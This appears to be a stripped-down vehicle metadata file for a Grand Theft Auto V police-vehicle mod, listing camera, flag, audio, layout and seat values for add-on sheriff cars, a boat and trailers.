- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- libertytahoe2
- libertytahoe2
- codetah14
- libertytahoe2
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code320exp
- code320exp
- codefpiu
- code320exp
-
- null
- null
- null
- null
-
- null
- ecoboostv6
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3ram
- code3ram
- coderam
- code3ram
-
- null
- null
- null
- null
-
- null
- cummins5924v
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- libertyf150
- libertyf150
- codef150
- libertyf150
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- libertyf250
- libertyf250
- codef250
- libertyf250
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3boat
- code3boat
- DINGHY
- code3boat
- NAGASAKI
- null
- null
- null
- null
-
- null
-
- LAYOUT_BOAT_DINGHY3
- STANDARD_COVER_OFFSET_INFO
- EXPLOSION_INFO_BOAT_MEDIUM
-
- FOLLOW_DINGHY_CAMERA
- DINGHY_AIM_CAMERA
- BOAT_BONNET_CAMERA
- DINGHY_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_BOAT_DINGHY
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
-
-
-
-
-
-
-
-
-
- SWANKNESS_2
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS FLAG_NO_BOOT FLAG_SPAWN_BOAT_ON_TRAILER FLAG_EXTRAS_RARE FLAG_PEDS_CAN_STAND_ON_TOP FLAG_GEN_NAVMESH FLAG_DONT_SPAWN_AS_AMBIENT FLAG_GIVE_SCUBA_GEAR_ON_EXIT FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_BOAT
- VPT_NONE
- VDT_TRUCK
- VC_EMERGENCY
- VWT_SPORT
-
-
-
-
-
- A_M_Y_JETSKI_01
-
-
-
-
-
-
-
-
- EXTRA_3
-
-
- - DINGHY_WINDSCREEN_RIGHT_CAMERA
- - DINGHY_WINDSCREEN_LEFT_CAMERA
-
-
-
-
-
-
- - BOAT_FRONT_LEFT
- - BOAT_FRONT_RIGHT
- - BOAT_DINGHY3_REAR_LEFT
- - BOAT_REAR_RIGHT
-
-
- -
- code318chargk9
- code318chargk9
- codechar
- code318chargk9
-
- null
- null
- null
- null
-
- null
- demonv8
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3trailer
- code3trailer
- TRAILERSMALL
- code3trailer
-
- null
- null
- null
- null
-
- null
- boattrailer
- LAYOUT_STANDARD
- TRAILERSMALL_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- FOLLOW_ARTIC_CAMERA
- ARTIC_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_STANDARD
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_TRAILER_SMALL
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_SPAWN_BOAT_ON_TRAILER FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_PEDS_CAN_STAND_ON_TOP FLAG_GEN_NAVMESH FLAG_DONT_SPAWN_AS_AMBIENT FLAG_BLOCK_FROM_ATTRACTOR_SCENARIO
- VEHICLE_TYPE_TRAILER
- VPT_NONE
- VC_UTILITY
- VWT_SPORT
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
- code316impala
- code316impala
- codeimp
- code316impala
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code310charg
- code310charg
- codechar10
- code310charg
-
- null
- null
- null
- null
-
- null
- demonv8
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code314tahoe
- code314tahoe
- code14tah
- code314tahoe
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3gator
- code3gator
- codegat
- code3gator
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3trailer2
- code3trailer2
- TRAILERSMALL
- code3trailer2
-
- null
- null
- null
- null
-
- null
- boattrailer
- LAYOUT_STANDARD
- TRAILERSMALL_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- FOLLOW_ARTIC_CAMERA
- ARTIC_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_STANDARD
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_TRAILER_SMALL
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_SPAWN_BOAT_ON_TRAILER FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_PEDS_CAN_STAND_ON_TOP FLAG_GEN_NAVMESH FLAG_DONT_SPAWN_AS_AMBIENT FLAG_BLOCK_FROM_ATTRACTOR_SCENARIO
- VEHICLE_TYPE_TRAILER
- VPT_NONE
- VC_UTILITY
- VWT_SPORT
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
- code3camero
- code3camero
- codecamaro
- code3camero
-
- null
- null
- null
- null
-
- null
- c6v8sound
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3mustang
- code3mustang
- codestang
- code3mustang
-
- null
- null
- null
- null
-
- null
- tamustanggt50
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
